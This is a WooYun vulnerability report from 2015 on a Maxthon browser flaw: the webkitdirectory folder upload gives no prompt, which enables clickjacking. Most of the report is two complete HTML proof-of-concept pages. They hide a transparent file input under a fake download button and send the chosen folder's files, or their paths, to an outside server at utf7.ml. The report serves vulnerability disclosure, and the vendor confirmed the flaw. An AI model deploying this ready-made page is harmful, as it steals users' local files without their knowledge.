当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108019

漏洞标题:傲游浏览器某内核设计缺陷可能导致用户信息泄露(窃取本地用户文件)

相关厂商:傲游

漏洞作者: Lyleaks

提交时间:2015-04-15 10:36

修复时间:2015-07-14 15:54

公开时间:2015-07-14 15:54

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-15: 细节已通知厂商并且等待厂商处理中
2015-04-15: 厂商已经确认,细节仅向厂商公开
2015-04-18: 细节向第三方安全合作伙伴开放
2015-06-09: 细节向核心白帽子及相关领域专家公开
2015-06-19: 细节向普通白帽子公开
2015-06-29: 细节向实习白帽子公开
2015-07-14: 细节向公众公开

简要描述:

傲游浏览器某缺陷可能导致用户信息泄露

详细说明:

webkit内核的浏览器可以通过在input标签中添加webkitdirectory属性来上传文件夹。

<input type="file" webkitdirectory>


在Chrome下,上传框如图

6.jpg


但在傲游浏览器下,上传框却没有提示

7.jpg


因此,可以利用这个缺陷,使用点击劫持的方法,来欺骗用户上传文件。
在页面顶层设置一个透明的上传表单,在底层设置一个下载按钮,当用户点击下载按钮,选择下载目录点击确定后,该目录下的文件就会上传到远程服务器。

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script src="http://upcdn.b0.upaiyun.com/libs/jquery/jquery-2.0.3.min.js" type="text/javascript"></script>
<style>
a:link, a:visited {color: lightgreen;}
input[type='file'] {
opacity: 0;
position: absolute;
left: 0; top: 0;
width: 300px;
z-index: 2;
line-height: 20px;
height: 25px;
}
#cloak {
position: absolute;
left: 0;
top: 0;
z-index: 1;
line-height: 20px;
height: 25px;
cursor: pointer;
}
label {
display: block;
}
</style>
</head>
<body>
<button id=cloak>点击下载 WooYun.avi</button>
<input type="file" id="cloaked" webkitdirectory directory />
<script>
document.getElementById("cloaked").onchange = function(e) {
for (var i = 0, f; f = e.target.files[i]; ++i) {
console.log("sending file with path: " + f.webkitRelativePath + ", name: " + f.name);
fdata = new FormData();
fdata.append('path', f.webkitRelativePath);
fdata.append('name', f.name);
fdata.append('content', f);
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://utf7.ml/upload", true);
xhr.send(fdata);
}
};
</script>
</body>
</html>

漏洞证明:

这里用于演示就不上传文件了,只是记录文件名。

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script src="http://upcdn.b0.upaiyun.com/libs/jquery/jquery-2.0.3.min.js" type="text/javascript"></script>
<style>
a:link, a:visited {color: lightgreen;}
input[type='file'] {
opacity: 0;
position: absolute;
left: 0; top: 0;
width: 300px;
z-index: 2;
line-height: 20px;
height: 25px;
}
#cloak {
position: absolute;
left: 0;
top: 0;
z-index: 1;
line-height: 20px;
height: 25px;
cursor: pointer;
}
label {
display: block;
}
</style>
</head>
<body>
<button id=cloak>点击下载 WooYun.avi</button>
<input type="file" id="cloaked" webkitdirectory directory />
<script>
document.getElementById("cloaked").onchange = function(e) {
for (var i = 0, f; f = e.target.files[i]; ++i) {
console.log("sending file with path: " + f.webkitRelativePath + ", name: " + f.name);
fdata = {};
fdata['path'] = f.webkitRelativePath;
fdata['name'] = f.name;
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://utf7.ml/t/fj5.php?data="+encodeURI(JSON.stringify(fdata)), true);
xhr.send();
}
};
</script>
</body>
</html>


访问下面的URL

http://utf7.ml/t/fj.html


1.jpg


点击下载

2.jpg


选择目录之后点确定。
访问下面的URL,就能查看该目录下的文件

http://utf7.ml/t/fjdata.html


3.jpg


4.jpg


测试版本

8.jpg


修复方案:

版权声明:转载请注明来源 Lyleaks@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-15 15:53

厂商回复:

确认, 提示不完善

最新状态:

暂无